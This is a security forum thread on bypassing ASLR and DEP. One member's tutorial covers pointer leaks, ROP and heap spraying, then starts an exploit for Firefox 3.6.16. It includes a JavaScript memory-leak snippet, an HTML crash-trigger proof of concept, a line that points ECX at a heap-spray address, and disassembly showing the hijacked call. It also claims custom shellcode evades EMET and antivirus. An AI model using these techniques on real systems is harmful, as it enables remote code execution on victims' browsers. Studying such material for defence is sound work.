Page 1 of 3 123 LastLast
Results 1 to 10 of 28

Thread: ASLR DEP bypassing techniques Share/Save - My123World.Com!

  1. #1
    Security Researcher fb1h2s's Avatar
    Join Date
    Jul 2010
    Location
    India
    Posts
    616
    Blog Entries
    32

    ASLR DEP bypassing techniques

    http://abysssec.com/files/The_Arashi.pdf
    This is one awesome paper , it details many ASLR/DEP bypassing techniques , and also criticizes a couple of claims of few other Researches .
    Hacking Is a Matter of Time Knowledge and Patience

  2. #2
    Any Mirror? This link looks dead.

  3. #3
    Security Researcher fb1h2s's Avatar
    Join Date
    Jul 2010
    Location
    India
    Posts
    616
    Blog Entries
    32
    Hacking Is a Matter of Time Knowledge and Patience

  4. #4
    abysssec had to face ddos attack due to some contents revealed in the article
    The three great essentials to achieve anything worth while are: Hard work, Stick-to-itiveness, and Common sense. - Thomas A. Edison
    __________________________________________________ _____________________

  5. #5
    In defeating DEP you atleast need some information that will evade the ASLR.
    There are mainly two ways:

    1. Any anti ASLR modules gets loaded into the target application. I mean you have the base address of any module at fixed location always even after the system restart.

    2. You get a pointer leak from a memory leak/buffer overflow/any zeroday. In this technique you can adjust the offsets to grab the base address of the module whose pointer gets leaked.

    Now, you have evaded the ASLR. Now comes the DEP:

    DEP Data Execution Prevention mitigates the most of the attacks by denying the code execution from non executable memory, earlier until xp sp2, the stack and heap were executable, but now they no more possess execute attribute.

    But there are methods, you have a pointer, so you can either make your shellcode from ROP, rop is a little advanced return to libc attack and is return oriented programming.

    The main idea is to execute the necessary instructions nearby the "return" instruction, but for return instruction, you need to control the stack, the top of the stack must have the address of next instruction where you want to land and all these instructions are chosen or discovered from already loaded executable modules and from there executable code pages.

    I have discovered most of the rop chains online, but nearly all are the products of certain automatyed scripts, I mean if you want to learn then start doing it manually, otherwise you'll miss the whole technique.
    The most intelligent ROP chains are discovered manually, and are very specific and provide more control in very small execution overhead.

    One more thing to remember, most of the rop chains produced by automated scripts, are not suitable for certain type of vulnerabilities, then you might know how to develop one of yours own.

    Using the ROP you can either develop whole of your shellcode or just for the purpose of defeating DEP and then landing on the executable marked shellcode.

    Remember, the OS has very good randomization of module bases, stack and heap and pointers, but not the pointers to the pointers, in certain places, you can easily find, fixed addresses/pointer to another pointer inside any other module or to any export of any dll.

    Such informations help a lot.

    the memory leaks also help, e.g.

    function alfa(){
    var a1=document.cookie;
    }
    var a=window.setTimeout(alfa,100);
    alert(a.toString(16));

    The above leak is little old now, and provides us witha memory address inside mshtml.dll at the address rendered by a.toString(16)-1

    .This was a good pointer to pointer, similarly, 0x7ffe360 in this line you can find the base address of ntdll.dll in win7 64 bit
    whereas in all windows 32 bit versions, 7ffe300 has the addressof sysenter and 0x7ffe304 the ret instruction.

    But all these are pointer to pointers i.e. **
    whereas to form a shellcode dynamically, we need a direct pointer.
    I think you better know now the pwn2own memory leak by a buffer overflow.

    The custom shellcodes manufactured dynamically from memory leaks of pointers, can be simple and provide us with more control, than the other traditional shellcodes developed by msf etc.

    The main advantage of custom shellcodes made by pointer leaks are that, you can easily evade the mitigations like, emet (enhanced mitigation toolikit) and other av engines.

    Recomendation : Download and install the ~= 4.5 Mb emet from microsoft to secure yourself. It will fail the executaion of most of your traditional shellcodes.

    In next posts, we'll discus about certain vulnerabilities and then evade develop the exploit and try to develop the shellcode and rop chains in this thread. Hope you 'll enjoy and will actively take part.
    ...to be continued

    ..."vinnu"
    Last edited by "vinnu"; 09-05-2011 at 06:11 PM.

  6. #6
    Garage Addict 41.w4r10r's Avatar
    Join Date
    Jul 2010
    Location
    Pune
    Posts
    338
    Blog Entries
    3
    awesome writeup vinnu bro...
    i have one request if you have some time in spare then could you please make tuts like corelan created..
    and include some application....

  7. #7
    Namaste
    Well, it takes a huge time, patience and team work for such neat tutorials, but we'll discus these things in raw form and whenever spare time.
    ..."vinnu"

  8. #8
    In the world of ASLR and DEP remember there is no place for NOP and NOPsled. Only precision matters.

    The sprayer must be developed in such a way that it will place your chunks (rop + shellcode) at fixed locations.

    The slip of even a single byte is non preferable as it will make our rop to land at wrong addresses. The precision can be achieved by heap manipulation techniques. I'll recommend to study the "Heap Fengshui" by A. Satirov.

    By proper allocation of calculated sized heap chunks, we can more precisely place our chunks at same addresses every time.

    Let us proceed with the example and in coding. The example vulnerability (mchannel) is affecting Firefox 3.6.16 and its working exploits are already available. But we'll develop the ROP and shellcode manually and hand crafted no need of mona or anything automated as automation misses certain points and makes the things complex and the solutions are not so intelligent and simple.

  9. #9
    Code:
    <html>
    <head>
    </head>
    <body>
    <object id="d" ></object>
    <script>
    function ignite()	{
    	var e=document.getElementById("d");
    	e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0);
            e.data="";
    }
    </script>
    <input type=button value="Ignite" onclick="ignite()" />
    </body>
    </html>

  10. #10
    In this vulnerability, we can control the ECX register as the place from where EAX register will grab the value can be controlled by a single object instantiation in heap.

    var obj = unescape("\x00%u0c10"); // will make ECX register to point to at 0x0C100000
    // This is the address that will easily get sprayed and where the first byte of our chunk will be loaded.


    Note: Remember to rename the CrashReporter.exe from mozilla folder inside ur program files. And attach the debugger to the firefox before exploiting the vulnerability.


    Code:
    6BE14E69   8B08             MOV ECX,DWORD PTR DS:[EAX] ; This is where our above allocation will load 0x0C100000 into
    ; ECX register
    6BE14E6B   BE 02004B80      MOV ESI,804B0002
    6BE14E70   56               PUSH ESI
    6BE14E71   50               PUSH EAX
    6BE14E72   FF51 18          CALL DWORD PTR DS:[ECX+18] ; This is where call will be transferred at address placed at
    ; 0x0C100018, So we need to frame our rop+shellcode module accordingly.

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •